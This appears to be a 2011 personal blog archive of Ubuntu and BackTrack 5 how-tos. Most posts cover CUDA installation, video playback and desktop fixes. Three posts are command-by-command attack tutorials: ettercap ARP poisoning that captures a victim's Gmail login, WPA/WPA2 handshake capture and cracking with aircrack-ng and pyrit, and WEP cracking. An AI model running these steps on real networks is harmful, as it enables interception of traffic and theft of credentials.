Sunday, May 29, 2011

HOWTO : nVidia CUDA Toolkit 4.0 on Ubuntu 11.04 Server

The CUDA Toolkit 4.0 is released on May 2011. If you have nVidia display card that have several CUDAs on it, you will interested in this tutorial. This time, I would like to show you how to install CUDA Toolkit 4.0 on Ubuntu 11.04 Server.

You will experience a more faster server after the installation of CUDA Toolkit 4.0.

This HOWTO does not require to install X.

Step 1 :

Add the CUDA 4.0 PPA.
sudo add-apt-repository ppa:aaron-haviland/cuda-4.0

Thanks for the developer of CUDA 4.0 PPA - Aaron Haviland of his contribution to make CUDA Toolkit to be installed easily.

Step 2 :

sudo apt-get update
sudo apt-get upgrade


64-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler libnpp4 nvidia-cuda-doc libcudart4 libcublas4 libcufft4 libcusparse4 libcurand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

32-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler lib32npp4 nvidia-cuda-doc lib32cudart4 lib32cublas4 lib32cufft4 lib32cusparse4 lib32curand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

Step 3 :

sudo nano /etc/init.d/nvidia_cuda

Append the following lines.

============= Copy from here ================
#!/bin/bash

PATH=/sbin:/bin:/usr/bin:$PATH

/sbin/modprobe nvidia

if [ "$?" -eq 0 ]; then

   # Count the number of NVIDIA controllers found.
   N3D=`/usr/bin/lspci | grep -i NVIDIA | grep "3D controller" | wc -l`
   NVGA=`/usr/bin/lspci | grep -i NVIDIA | grep "VGA compatible controller" | wc -l`

   N=`expr $N3D + $NVGA - 1`
   for i in `seq 0 $N`; do
      /bin/mknod -m 666 /dev/nvidia$i c 195 $i;
   done

   /bin/mknod -m 666 /dev/nvidiactl c 195 255

else
   exit 1
fi


=========== Copy to here =================

Step 4 :

sudo chmod +x /etc/init.d/nvidia_cuda
sudo update-rc.d nvidia_cuda defaults

Step 5 :

Reboot your system.

Remarks

I do not have nVidia display cards server in hand at the moment, I am not sure the captioned startup script working properly or not.

That's all! See you.

HOWTO : nVidia CUDA Toolkit 4.0 on Ubuntu 11.04 Desktop

The CUDA Toolkit 4.0 is released on May 2011. If you have nVidia display card that have several CUDAs on it, you will interested in this tutorial. This time, I would like to show you how to install CUDA Toolkit 4.0 on Ubuntu 11.04 Desktop.

You will experience a more faster desktop after the installation of CUDA Toolkit 4.0. Meanwhile, if you installed SMPlayer, you can playback 1080p videos with the help of vdpau.

Step 1 :

Add the CUDA 4.0 PPA.
sudo add-apt-repository ppa:aaron-haviland/cuda-4.0

Thanks for the developer of CUDA 4.0 PPA - Aaron Haviland of his contribution to make CUDA Toolkit to be installed easily.

Step 2 :

sudo apt-get update
sudo apt-get upgrade


64-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler libnpp4 nvidia-cuda-doc libcudart4 libcublas4 libcufft4 libcusparse4 libcurand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

32-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler lib32npp4 nvidia-cuda-doc lib32cudart4 lib32cublas4 lib32cufft4 lib32cusparse4 lib32curand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

Step 2a (Optional) :

If you do not have any nVidia driver installed before or you encounter any problem of booting up your system, you need to do the following command. Otherwise, this step is not required at all.

sudo nvidia-xconfig

**This step may not be required.

Step 3 :

Reboot your system.

Step 4 (Optional) :

To install SMPlayer.

sudo apt-get install smplayer smplayer-translations smplayer-themes

Then set it to use "vdpau" at "Output Driver" at "Preference".

Step 5 (Optional) :

Once installed the CUDA Toolkit and nVidia drivers, you can download the sample codes for testing.

sudo apt-get install freeglut3-dev libxi-dev libXmu-dev

wget http://developer.download.nvidia.com/compute/cuda/4_0/sdk/gpucomputingsdk_4.0.17_linux.run

sudo chmod +x gpucomputingsdk_4.0.17_linux.run
./gpucomputingsdk_4.0.17_linux.run


Accept the default settings.

cd NVIDIA_GPU_computing_SDK/C
make


** Please ignore the warning messages for unsupported gcc version. That is no harm at all.

Run the sample codes.

cd NVIDIA_GPU_computing_SDK/C/bin/linux/release
./deviceQuery
./nbody


That's all! See you.

Saturday, May 28, 2011

HOWTO : Sniffing SSL with ettercap on Back|Track 5

*** WARNING : This HOWTO is for educational only. Do NOT carry out the following steps on a LAN that without permission. Otherwise, you will be put into the jail. ***

Sniffing SSL (https) traffic on LAN with ettercap by mean of Man In The Middle (MITM) attack.

Step 1 :

nano /etc/etter.conf

Make the change as the following :

[privs]
ec_uid = 0    # nobody is the default
ec_gid = 0    # nobody is the default


Uncomment the following :

# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"


Step 2 :

Victim's machine is at 192.168.1.100 while the router is at 192.168.1.1. Attacker is at 192.168.1.115.

ettercap -TqM arp:remote /192.168.1.100/ /192.168.1.1/

The outcome of the display is as the following :

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Dissector "dns" not supported (etter.conf line 72)
Listening on eth0... (Ethernet)

eth0 ->    08:00:27:FF:95:DB    192.168.1.115 255.255.255.0

Privileges dropped to UID 0 GID 0...

  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)...

* |=================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.1.100 70:1A:04:FF:0A:9A

GROUP 2 : 192.168.1.1 00:1E:10:FF:A7:E2
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help


Step 3 :

At the victim's machine, open a browser, such as Firefox and go to GMail. You will be asked to accept an untrusted certification. Just accept the certificate and you will be directed to the login screen of GMail.

When the victim login to the GMail, his/her username and password will be logged on the Attacker's machine. The display will be similar to the following :

HTTP : 74.125.71.106:443 -> USER: samiux PASS: password INFO: https://www.google.com/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http://mail.google.com/mail/?ui=html&zy=l&bsv=llya694le36z&s

You will find that USER: samiux and PASS: password.

Remarks :

To delete the untrusted certificate on Firefox at victim's machine : "Edit" -- "Perference" -- "View Certificate List" -- "Server". You will find something like the following. You just delete them all.

Thawte Consulting (Pty) Ltd.
www.google.com www.google.com:443 forever 2011-09-21
www.google.com mail.google.com:443 forever 2011-09-21


In general, GMail will not ask you to accept any certificate, especially untrusted one.

That's all! See you.

Thursday, May 26, 2011

HOWTO : Back|Track 5 on VirtualBox 4.0.8

(A) Install Back|Track 5 on VirtualBox

Install VirtualBox 4.0.8 on the host computer, such as Ubuntu 11.04 as usual. Then install Back|Track 5 on the VirtualBox. Next is to install Oracle VM VirtualBox Extension Pack and Guest Additons.

Oracle VM VirtualBox Extension Pack is installed on the host computer, such as Ubuntu 11.04. You can find it on the Download page.

To install Guest Additons, just click "Devices" -- "Install Guest Additions" on the menu.

Do the following on the guest computer (Back|Track 5) :

cd /media/VBOXADDITONS_4.0.8_71778
./VBoxLinuxAddtions.run


To fix the boot up screen.

fix-splash

Do the following on the host computer (Ubuntu 11.04) :

Add you (username) to the group of vboxusers, e.g. samiux as username.

useradd -G vboxusers samiux

Go to "Users and Groups", "Advanced Settings" -- "User's Rights" select "Use VirtualBox solution".

Then, reboot your host to make it effective.

Remember not to enable USB 2.0 on the VirtualBox as some USB dongles do not work properly when it is enabled.

Finally, the following wireless USB dongles have been tested and they are all working perfectly out of the box. They are all support injection too.

TP-Link TL-WN321G 54Mbps Wireless G USB Adapter
TP-Link TL-WN821N 300Mbps Wireless N USB Adapter
TP-Link TL-WN822N 300Mbps High Gain Wireless N USB Adapter


*** This tutorial is also applied to VirtualBox 4.1.2.

Remarks :

When the kernel of Back|Track 5 is upgraded, the Guest Additions will be damaged. You need to do the following on Back|Track 5 and then reinstall the Guest Additions :

prepare-kernel-sources
cd /usr/src/linux
cp -rf include/generated/* include/linux/


(B) Create Metasploitable virtual machine (Optional)

Go to the following link to download the "Metasploitable" which is an Ubuntu 8.04 server with some flaws.

http://blog.metasploit.com/2010/05/introducing-metasploitable.html

Set the downloaded Metasploitable as virtual hard drive at VirtualBox. The network adapter is set to "Host-Only". The virtual hard disk space is at least 8GB and 512MB RAM for the Metasploitable.

(C) The VirtualBox intranet

Now, the IP address of eth0 of Metasploitable is similar to 192.168.56.101. The IP address of eth0 and eth1 of Back|Track are similar to 10.0.2.15 and 192.168.56.102 respectively.

You may require to execute the following command at Back|Track in order to see the two network interfaces and their IPs.

/etc/init.d/networking restart

Back|Track can access (or ping) Metasploitable via IP address. Back|Track can surf the internet but Metasploitable cannot.

At last, your penetration environment is set up.

(D) Free Tutorials

(1) Metaploit Unleashed
(2) Fast-Track
(3) Social-Engineer Tootkit
(4) Got Milk?
(5) How to Metasploit Beginner to Advanced (Video)
(6) SecurityTube.net (Video)
(7) BackTrack WiKi

(E) Non-free Training

Offensive Security

(F) Resources

(1) Exploits Database
(2) Metaploit Blog
(3) Offensive security Blog
(4) Yet another Back|Track in Gnome
(5) Metasploit
(6) Google Hacking-Database
(7) BackBox Linux

You may find the following links useful :

HOWTO : Bug fix for Back|Track 5

HOWTO : WEP cracking with Back|Track 5

HOWTO : WPA/WPA2 cracking with Back|Track 5

HOWTO : No skill hacking with Armitage on Back|Track 4 R2

HOWTO : Sniffing SSL with ettercap on Back|Track 5

HOWTO : The Onion Router (Tor) on Back|Track 5

HOWTO : FeedingBottle 3.2 on Back|Track 5

HOWTO : Update script for Back|Track 5

HOWTO : Yet Another Update script for Back|Track 5

HOWTO : Yet Another Back|Track 5 on Dell Streak 5

HOWTO : RTL8191SE wireless card on Back|Track 4 R2

HOWTO : Adobe Flash 10.3 on Back|Track 5

HOWTO : Back|Track 5 on Lenovo ThinkPad X100e

Does Snort really protect your network?

HOWTO : Solves the Wireshark not loading on Back|Track 5

HOWTO : Register to OSVDB and Nessus on Back|Track 5

HOWTO : Anonymous in chat.freenode.net with XChat

HOWTO : Pure-ftpd and atftpd on Back|Track 5

HOWTO : SSH Tunneling - Remote Port Forwarding

HOWTO : Penetration Testing in the Real World

g0tmi1k's Video Series

That's all! See you.

Sunday, May 22, 2011

HOWTO : WPA/WPA2 cracking with Back|Track 5

Don't crack any wifi router without authorization; otherwise, you will be put into the jail.

(A) General Display card

Step 1 :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]



Step 2 :

airmon-ng start wlan0

Step 3 (Optional) :

Change the mac address of the mon0 interface.

ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up


Step 4 :

airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step 5 :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0

*where -c is the channel
           -w is the file to be written
           --bssid is the BSSID

This terminal is keeping running.

Step 6 :

open another terminal.

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step 7 :

Use the John the Ripper as word list to crack the WPA/WP2 password.

aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs

Step 8 (Optional) :

If you do not want to use John the Ripper as word list, you can use Crunch.

Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install


/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w -

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

(B) nVidia Display Card with CUDA

If you have nVidia card that with CUDA, you can use pyrit to crack the password with crunch.

Step a :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]



Step b :

airmon-ng start wlan0

Step c (Optional) :

Change the mac address of the mon0 interface.

ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up


Step d :

airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step e :

airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff mon0

Step f :

open another terminal.

aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step g :

If the following programs are not yet installed, please do it.

apt-get install libghc6-zlib-dev libssl-dev python-dev libpcap-dev python-scapy

Step h :

Go to the official site of crunch.
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).
http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download

tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install


Step i :

Go to the official site of pyrit.

http://code.google.com/p/pyrit/downloads/list

Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).

tar -xzvf pyrit-0.4.0.tar.gz
cd pyrit-0.4.0
python setup.py build
sudo python setup.py install


tar -xzvf cpyrit-cuda-0.4.0.tar.gz
cd cpyrit-cuda-0.4.0
python setup.py build
sudo python setup.py install


Step j :

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r wpacrack-01.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step k (Optional) :

If you encounter error when reading the wpacrack-01.cap, you should do the following step.

pyrit -r wpacrack-01.cap -o new.cap stripLive

/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r new.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step l :

Then, you will see something similar to the following.

Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'new.cap' (1/1)...
Parsed 71 packets (71 802.11-packets), got 55 AP(s)

Tried 17960898 PMKs so far; 17504 PMKs per second.


Remarks :

If you have an nVidia GeForce GTX460 (336 CUDA cores), the speed of cracking is about 17,000 passwords per second.

To test if your wireless card (either USB or PCI-e) can do the injection or not :

airodump-ng mon0
Open another terminal.
aireplay-ng -9 mon0

Make sure pyrit workable on your system :

pyrit list_cores

That's all! See you.

HOWTO : WEP cracking with Back|Track 5

Don't crack any wifi router without authorization; otherwise, you will be put into the jail.

Step 1 :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]


Step 2 :

airmon-ng start wlan0

Step 3 :

airodump-ng mon0

Press "Ctrl+c" to break the program.

Step 4 :

airodump-ng -c 6 -w wepcrack --bssid 99:88:77:66:55:44 mon0

*where -c is the channel
            -w is the file to be written
            --bssid is the BSSID

Step 5 :

open another terminal.

aireplay-ng -1 0 -a 99:88:77:66:55:44 mon0

*where -a is BSSID

The terminal is keeping running.

Step 6 :

aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b 99:88:77:66:55:44 mon0

*where -c is client's MAC address (STATION)
            -b is BSSID

When asking "Use this packet?", answer "y".

Step 7 :

open another terminal.

aircrack-ng wepcrack*.cap

That's all! See you.

Saturday, May 21, 2011

HOWTO : Bug fix for Back|Track 5

BackTrack 5 is a Penetration Testing Distribution and it is released on May 10, 2011 and it comes with Gnome and KDE as well as 32-bit, 64-bit and ARM versions.

The following solutions are summarized from BackTrack 5 forum as at May 21, 2011 (GMT +8).

Bug #1 : Quick fix for scan modules not working in Armitage

cd /pentest/exploits/framework3/external/pcaprub/
ruby extconf.rb
make
make install


Bug #2 : Gnome - waiting for audio system to respond

mkdir ~/.config/autostart
nano ~/.config/autostart/pulseaudio.desktop


[Desktop Entry]
Type=Application
Exec=/usr/bin/pulseaudio
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
Name=Pulseaudio
Comment=Start Pulseaudio


Bug #3 : Where is Fast-track on 64-bit system?

svn co http://svn.secmaniac.com/fasttrack fasttrack/
cd fasttrack
python setup.py install
mv ~/fasttrack/ /pentest/exploits/


Answer "yes" when asked during the captioned commands.

Bug #4 : Fix error when building nvidia-current

nano /usr/src/nvidia-current-195.36.24/nv.c

Change from :
.ioctl = nv_kern_ioctl,

To :
.unlocked_ioctl = nv_kern_unlocked_ioctl,

apt-get update
apt-get upgrade
apt-get install nvidia-current


If fail, try the below :

dkms build -m nvidia-current -v 195.36.24
dkms install -m nvidia-current -v 195.36.24
modprobe nvidia-current


Bug #5 : White screen of death (ATi display card)

nano /etc/default/grub

Change from :
GRUB_CMDLINE_LINUX_DEFAULT="text splash"

To :
GRUB_CMDLINE_LINUX_DEFAULT="text splash radeon.modeset=0"

Bug #6 : airdrop-ng and pylorcon

apt-get install python-dev

Bug #7 : xgps on 64-bit system

Go to the following link :
http://archive.eclipse.org/eclipse/downloads/drops/R-3.5.2-201002111343/index.php#SWT

Download "Linux (x86_64/GTK 2)", version is 3.5.2 at the time of this writing :

http://archive.eclipse.org/eclipse/downloads/drops/R-3.5.2-201002111343/download.php?dropFile=swt-3.5.2-gtk-linux-x86_64.zip

unzip swt-3.5.2-gtk-linux-x86_64.zip
cp swt.jar /usr/share/xgpsmanager


Bug #8 : Gnome - Ettercap-gtk crashes while scanning for hosts

Please refer to the following link :
http://www.backtrack-linux.org/forums/backtrack-5-bugs/40556-ettercap-gtk-crashes-while-scanning-hosts.html

Bug #9 : SET configuration bug

cd /pentest/exploits/set/config
nano set_config


Change from :
DNSSPOOF_PATH=/usr/sbin/dnsspoof

To :
DNSSPOOF_PATH=/usr/sbin/local/dnsspoof

and

Change from :
AIRBASE_NG_PATH=/pentest/wireless/aircrack-ng/src/airbase-ng

To :
AIRBASE_NG_PATH=/usr/local/sbin/airbase-ng

Bug #10 : Teensy/SET

Please refer to the following link :
http://www.backtrack-linux.org/forums/backtrack-5-fixes/40484-bt5-kde-64bit-teensy-s-e-t.html

Remarks :

BackTrack 5 site

BackTrack 5 Download

BackTrack 5 wiki

BackTrack Forum

That's all! See you.

Wednesday, May 18, 2011

HOWTO : Octoshape on Ubuntu 11.04 Desktop

When listen to the online radio of RTHK at http://www.rthk.org.hk, you may find a "HQ" button. This button activates a third party plugin namely Octoshape which can deliver high quality video and audio streaming. Now, you can enjoy this high quality radio streaming on Ubuntu 11.04.

Step 1 :

Install the plugin. No matter you have 32-bit or 64-bit system, you can follow the commands below to install. The plugin will be installed at your home directory.

wget http://www.octoshape.com/files/octosetup-linux_i386.bin
chmod +x octosetup-linux_i386.bin
./octosetup-linux_i386.bin


Step 2 :

Make sure the client is running in the terminal (the commands below) when playback the HQ video and / or audio.

cd octoshape
./OctoshapeClient


Step 3 :

Open Firefox and go to RTHK and select one of the online programme by clicking "HQ" button. Make sure the Octoshape Client is running as per Step 2.

Now, you can enjoy the HQ video and / or audio on the website.

That's all! See you.

Monday, May 16, 2011

HOWTO : Unity Interface's Shortcut Keys and Mouse Tricks

Super Key(Windows Key) - Opens dash.

Hold Super Key - Invokes Launcher.

Hold Super Key and hit 1, 2, 3 etc - Open an Application from Launcher. When you hold the Super Key, specific numbers will be displayed in order above each application.

Alt + F1 - Put keyboard focus on the Launcher, use arrow keys to navigate, Enter launches the application, Right arrow exposes the quicklists if an application has them.

Alt + F2 - Opens dash in special mode to run any commands.

Super + A - Opens up application window from launcher.

Super + F - Opens up files and folders window from launcher. Both these shortcuts can be viewed by simply holding the Super Key as well.

Super + W - Spread mode, zoom out on all windows in all workspaces.

Super + D - Minimize all windows(acts as Show Desktop). Hitting it again restores them.

Super + T - Opens trash can.

Super + S - Expo mode (for everything), zooms out on all the workspaces and let's you manage windows.

Ctrl + Alt + T - Launch Terminal.

Ctrl + Alt + L - Lock Screen.

Ctrl + Alt + Left/Right/Up/Down - Move to new workspace.

Ctrl + Alt + Shift + Left/Right/Up/Down - Place window to a new workspace.

F10 - Open the first menu on top panel, use arrows keys to browse across the menus.

Mouse Shortcuts/Tricks for Ubuntu Unity

* Clicking and holding an icon and then dragging it around will allow you to reorder it on the launcher. You can also drag it off to the right of the launcher to move it around. Note that you need to make an explicit movement to the right to move the icon off the launcher before you can move it around.

* Dragging and Dropping an icon into the trash can will remove it from the Launcher.

* Moving and holding the cursor on the left side for a few seconds will launch Unity dock.

* Moving the cursor to top-left corner(near Ubuntu icon) will launch Unity dock as well.

* Scrolling the mouse wheel while over the Launcher scrolls the icons if you have too many and need to move around quickly.

* By Scrolling the mouse wheel while over the Sound icon on top panel helps you increase or decrease system volume.

* Middle click on an application's launcher icon - Open a new instance of the application in a new window. Very useful at times. In laptops with touchpads, hitting left/right click buttons together is akin to middle click.

* Maximizing - Dragging a window to the top panel will maximize it.

* Restore/Unmaximize - Dragging the top panel down OR double clicking on the top panel will do.

* Tiling - Dragging a Window to the left/right border will auto tile it to that side of the screen. One of the highlights of new Unity experience.

And Some Useful Window Management Shortcuts
Alt + F10 - Toggle between Maximize/Unmaximize current window.

Alt + F9 - Minimize current window.

Alt + Tab - Toggle between currently open windows.

Alt + F4 - Closes current window.

Alt + F7 - Moves the current window(both keyboard and mouse can be used

By the way, you can download the captioned shortcut key wallpaper at here.

That's all! See you.

HOWTO : Blank screen when boot up Ubuntu 11.04 Desktop

I have a very old SONY laptop and the model is PCG-TR1. The following is the display card of the laptop :

lspci | grep VGA

00:02.0 VGA compatible controller: Intel Corporation 82852/855GM Integrated Graphics Device (rev 02)

You can boot up the Live CD or DVD and install the system properly. It is no problem when the first boot up after the installation. However, it will be blank screen / black screen on the second and later boot up.

How to overcome this problem? Yes, I can and going to tell you.

Step 1 :

The screen will go blank and black in the second boot and later. Don't worry, just press the following key combination. Yes, just complete the following key combination.

Press ctrl+alt+F5, ctrl+alt+F7, ctrl+alt+F5, and then ctrl+alt+F7

Then, you will see the login screen again. You should press the key combination every time when you boot up your system.

However, the Unity 3D interface and special effect do not support but classic is working fine.

Step 2 (Optional) :

To use Unity 2D interface instead of Gnome classic interface.

sudo apt-get update
sudo apt-get install unity-2d


Reboot your system.

Select "Unity 2D" at the bottom of the screen when login to the system after the next boot up.

Remarks :

Some laptops that equipped with other model of Intel integrated display cards may encounter other problems, such as blinking screen. Someone out there suggest to update the xorg packages may solve the problems.

sudo add-apt-repository ppa:xorg-edgers/ppa
sudo apt-get update
sudo apt-get dist-upgrade


That's all! See you.

Saturday, May 14, 2011

HOWTO : SopCast and PPStream on Ubuntu 11.04 Desktop Made Easy

SopCast is online TV and PPStream is online movie of China. Now, you can watch these online TV and movies on Totem. This tutorial is written for any person who know Chinese.

Step 1 :

sudo apt-add-repository ppa:cnav/ppa
sudo apt-get update


Step 2 :

SopCast :

sudo apt-get install sopcast gst-plugins-sopcast totem-sopcast

PPStream :

sudo apt-get install ppstream gst-plugins-pps totem-plugin-pps totem-pps

Step 3 :

Open Totem. Select "Edit" -- "Plugins" on the menu.

Enable "SopCast browser" and "PPStream browser".

Enable "Show channel name in Chinese" at "Setup" of "SopCast". This step is important if you want to use "Step 6" below; otherwise, some channels cannot be shown up.

Select "SopCast" or "PPStream" at the right hand side's sidebar and enjoy it.

Step 4 (Optional) :

Enter "about:config" (without quote) at the address field of Firefox. Right click on any empty place. Select "Add", then choose "Boolean". Enter "network.protocol-handler.expose.pps" (without quote) to the place provided. Then choose "false".

Go to http://kan.pps.tv/ and choose any movie and select "Client Playback" (客戶端播放). Then select "/usr/bin/totem" from the file system.

The video will be playback on the Totem after clicking on the "Client Playback".

Step 5 (Optional) :

Install GMLive for SopCast channels as the channel of SopCast at Totem does not work.

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install gmlive


(a) Open GMLive and select "Tools" on the menu. "Preference" -- "SopCast"

Change the values as the following :
Mplayer cache : 8192 Kbs
Boardcast URL : http://www.sopcast.com/gchlxml


(b) Open GMLive and select "Tools" on the menu. "Preference" -- "GMLive"

Disable "PPLive support".
PPStream function does not work at GMLive.

Football channels for example :
"Vozao.com" and "Sports Channel" on the list of SopCast.

Step 6 (Optional) :

(a) If you want to use the channel list of GMLive instead of Totem's one, you can copy it.

mv ~/.local/share/totem/plugin/sopcast/channels.xml ~/.local/share/totem/plugin/sopcast/channels.xml-original

cp ~/.config/gmlive/sopcast.lst ~/.local/share/totem/plugin/sopcast/channels.xml

(b) Or, if you do not want to install GMLive, you can download the channel list for SopCast official site.

mv ~/.local/share/totem/plugin/sopcast/channels.xml ~/.local/share/totem/plugin/sopcast/channels.xml-original

wget http://www.sopcast.com/gchlxml
cp gchlxml ~/.local/share/totem/plugin/sopcast/channels.xml


The same football channels as "Step 5" are at the "Other" on the right hand side of the Totem. They are "Sport" and "Soccerhd.info".

Remarks :

Some channels of SopCast on Totem are not working. However, sports channel of CCTV is working properly. Fortunately, it can be overcame by doing the "Step 6(a)" or "Step 6(b)".

The video playback with PPStream on Totem will not be counted at the webpage of http://kan.pps.tv/. Therefore, some of the movies cannot be watched.

PPStream does not work on GMLive. PPLive does not support on GMLive in this tutorial.

** If you are using Ubuntu Samiux Remix 11.04 r0.8.1 or later, the captioned steps had been completed for you (but except the Firefox step). You can use it right away. You can download it at here.

UPDATED

Today (2011-June-11), I cannot use Totem to watch PPStream and the reason is still unknown. However, PPStream can be (Search for the application namely PPStream by press "Super" key). Just go to "Tool" -- "Option" -- "Select Sound device" and choose "alsa" to enable the sound of the PPStream.

That's all! See you.

Saturday, May 07, 2011

HOWTO : HD video playback on Ubuntu 11.04 Desktop

Step 1 - Install the official driver and SMPlayer from Ubuntu :

Install the official nVidia or ATi display card driver from the "Hardware drivers" from your Ubuntu 11.04 system. Then, install SMPlayer for the video player.

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install smplayer


Step 2 - SMPlayer configuration :

(A) Open the SMplayer. Select "Option" -- "Preference".

Go to "General" on the left hand side :

(1) If you have an nVidia display card :
"General" -- "Video" -- "Output driver" : vdpau

(2) If you have an ATi/AMD Radeon display card :
"General" -- "Video" -- "Output driver" : xv (0 - ATI Radeon AVIVO video)

(B) Go to "Performance" on the left hand side :
"Performance" -- "Cache" -- "Local" : 99999 kb
"Performance" -- "Cache" -- "Streaming" : 99999 kb

"Performance" -- "Performance" -- "Allow hard frame drop (can lead to image distortion)" : Enable
"Performance" -- "Performance" -- "H.264" -- select "loop filter (only skip on HD moive)"

If you have dual core CPU -
"Performance" -- "Performance" -- "Decoding thread (only MEG-1/2 and H.264)" : 2

Remarks :

Lenovo ThinkPad X100e, which is equipped with ATi Radeon HD3200 and AMD Athlon Neo MV-40 single processor, can playback HD movies (such as MKV) smoothly.

That's all! See you.

Tuesday, May 03, 2011

HOWTO : nVidia CUDA 4.0 RC on Ubuntu 11.04 Server

If you have nVidia display card that have several CUDAs on it, you will interested in this tutorial. This time, I would like to show you how to install CUDA 4.0 RC on Ubuntu 11.04 Server.

You will experience a faster server after the installation of CUDA 4.0.

This HOWTO does not require to install X.

Step 1 :

Add the CUDA 4.0 PPA.
sudo add-apt-repository ppa:aaron-haviland/cuda-4.0

Step 2 :

sudo apt-get update
sudo apt-get upgrade


64-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler libnpp4 nvidia-cuda-doc libcudart4 libcublas4 libcufft4 libcusparse4 libcurand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

32-bit :
sudo apt-get install nvidia-cuda-gdb nvidia-cuda-toolkit nvidia-compute-profiler lib32npp4 nvidia-cuda-doc lib32cudart4 lib32cublas4 lib32cufft4 lib32cusparse4 lib32curand4 nvidia-current nvidia-opencl-dev nvidia-current-dev nvidia-cuda-dev opencl-headers

Step 3 :

sudo nano /etc/init.d/nvidia_cuda

Append the following lines.

============= Copy from here ================
#!/bin/bash

PATH=/sbin:/bin:/usr/bin:$PATH

/sbin/modprobe nvidia

if [ "$?" -eq 0 ]; then

   # Count the number of NVIDIA controllers found.
   N3D=`/usr/bin/lspci | grep -i NVIDIA | grep "3D controller" | wc -l`
   NVGA=`/usr/bin/lspci | grep -i NVIDIA | grep "VGA compatible controller" | wc -l`

   N=`expr $N3D + $NVGA - 1`
   for i in `seq 0 $N`; do
      /bin/mknod -m 666 /dev/nvidia$i c 195 $i;
   done

   /bin/mknod -m 666 /dev/nvidiactl c 195 255

else
   exit 1
fi


=========== Copy to here =================

Step 4 :

sudo chmod +x /etc/init.d/nvidia_cuda
sudo update-rc.d nvidia_cuda defaults

Step 5 :

Reboot your system.

Remarks

I do not have nVidia display cards server in hand at the moment, I am not sure the captioned startup script working properly or not.

That's all! See you.

HOWTO : nVidia CUDA 4.0 RC on Ubuntu 11.04 Desktop

If you have nVidia display card that have several CUDAs on it, you will interested in this tutorial. This time, I would like to show you how to install CUDA 4.0 RC on Ubuntu 11.04 Desktop.

You will experience a faster desktop after the installation of CUDA 4.0. Meanwhile, if you installed SMPlayer, you can playback 1080p videos with the help of vdpau.

Step 1 :

Add the CUDA 4.0 PPA.
sudo add-apt-repository ppa:aaron-haviland/cuda-4.0

Step 2 :

sudo apt-get update
sudo apt-get upgrade


64-bit :
